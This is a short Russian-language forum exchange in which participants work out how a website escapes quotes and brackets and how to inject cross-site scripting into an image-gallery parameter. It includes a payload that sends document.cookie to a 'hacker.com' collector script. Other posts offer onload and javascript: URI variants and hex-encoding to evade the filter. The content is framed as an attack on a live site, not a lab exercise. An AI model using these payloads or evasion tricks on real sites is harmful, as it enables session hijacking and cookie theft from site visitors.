двойная кавычка как имено фильтруется?
заменяется на \" или вырезается...или как?
аналогино как фильтруется скобка?
если фильтруется двойная кавычка таким образом \"
то можно сделать вот что
<img src="galery/\"><script>document.location.href='http://hacker.com/c.php?c='+escape(document.cookie)</script> ">
примерно..

тогда вряли ли что то стоящее удасться провернуть..
так как за пределы строкового параметра ты не вылезешь...

Как вариант:
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>

Сослаться-то можно, вот только если ты в качестве картинки скрипт укажешь - вряд ли он выполнится!

и ">" тоже режется.
заменяется на \"

alert('ok') шифруем hex'ом:
%61%6C%65%72%74%28%27%6F%6B%27%29

В итоге попробуй: <image src=1.png onload=%61%6C%65%72%74%28%27%6F%6B%27%29>

<img src="galery/==XSS==">

==XSS== - это то место куда можно вставить код